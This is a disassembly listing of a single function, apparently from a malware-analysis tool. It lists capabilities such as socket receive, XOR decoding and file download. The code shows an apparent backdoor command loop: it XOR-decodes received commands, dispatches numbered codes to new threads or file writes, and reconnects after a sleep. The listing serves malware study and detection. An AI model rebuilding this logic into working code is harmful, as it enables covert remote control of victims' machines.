Function at 0x401640
Capabilities:
Create thread
Download and write a file
Encode data using xor
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41803b
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x8060
call fcn.00417940
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
nop dword [eax + eax]
push 0x4000
lea eax, [ebp - 0x4040]
push 0
push eax
call fcn.00407a10
add esp, 0xc
lea eax, [ebp - 0x4040]
push 0
push 0x4000
push eax
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
je 0x401b7b
test esi, esi
je 0x401b7b
cmp esi, 0xa
jl 0x401690
lea eax, [ebp - 0x8068]
push eax
call fcn.0040b433
mov eax, dword [ebp - 0x8068]
add esp, 4
mov dword [0x4217c4], eax
xor eax, eax
cmp esi, 0x20
jb 0x401742
mov ecx, esi
and ecx, 0x8000001f
jns 0x401708
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [str.________________]
mov edx, esi
sub edx, ecx
lea ecx, [ebp - 0x4030]
nop dword [eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edx
jl 0x401720
cmp eax, esi
jge 0x40175d
nop word [eax + eax]
xor byte [ebp + eax - 0x4040], 0x28
inc eax
cmp eax, esi
jl 0x401750
push 4
lea eax, [ebp - 0x4040]
push 0x41e8d0
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
je 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.1000
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x4017c4
push 6
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x1c]
push 7
push eax
call fcn.0040ad57
add esp, 0x10
lea eax, [ebp - 0x1c]
push 0
push 0
push eax
push 0x403c10
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.1001
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401814
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x403430
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.1002
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401864
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x403250
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.1003
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x4018b4
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x403190
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.2000
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x4018df
push eax
push eax
push eax
push 0x4026a0
push eax
push eax
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.2001
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401971
lea eax, [ebp - 0x4036]
push eax
lea ecx, [ebp - 0x8058]
call fcn.004049e0
push 2
push ecx
lea ecx, [ebp - 0x8058]
mov dword [ebp - 4], 0
call fcn.00404b80
cmp dword [ebp - 0x8044], 0x10
lea ecx, [ebp - 0x805c]
push 0
push ecx
push dword [ebp - 0x8048]
lea eax, [ebp - 0x8058]
mov dword [ebp - 0x805c], 0
cmovae eax, dword [ebp - 0x8058]
push eax
push dword [0x422998]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x8058]
mov dword [ebp - 4], 0xffffffff
call fcn.004049a0
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.2002
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x4019ea
push 0x41e908
lea ecx, [ebp - 0x8058]
mov dword [0x422374], eax
call fcn.004049e0
cmp dword [ebp - 0x8044], 0x10
lea ecx, [ebp - 0x8060]
push 0
push ecx
push dword [ebp - 0x8048]
lea eax, [ebp - 0x8058]
mov dword [ebp - 0x8060], 0
cmovae eax, dword [ebp - 0x8058]
push eax
push dword [0x422998]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x8058]
call fcn.004049a0
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.3000
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401a15
push eax
push eax
push eax
push 0x402220
push eax
push eax
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.3001
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401a40
push dword [0x422370]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.3002
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401a90
lea eax, [ebp - 0x4036]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x402b10
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.3003
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401ae0
lea eax, [ebp - 0x4036]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x402f00
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.4000
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401b30
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x8040]
push 0x4000
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x8040]
push 0
push 0
push eax
push 0x401d40
push 0
push 0
call edi
jmp 0x401690
push 4
lea eax, [ebp - 0x4040]
push str.4001
push eax
call fcn.0040b2b0
add esp, 0xc
test eax, eax
jne 0x401690
lea eax, [ebp - 0x403c]
push eax
lea eax, [ebp - 0x3c]
push 0x20
push eax
call fcn.0040b251
add esp, 0xc
lea eax, [ebp - 0x3c]
push 0
push 0
push eax
push 0x401bc0
push 0
push 0
call edi
jmp 0x401690
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404930
call fcn.00404100
lea eax, [ebp - 0x8070]
push eax
call fcn.0040b433
mov eax, dword [ebp - 0x8070]
add esp, 4
mov dword [0x4217c4], eax
jmp 0x401690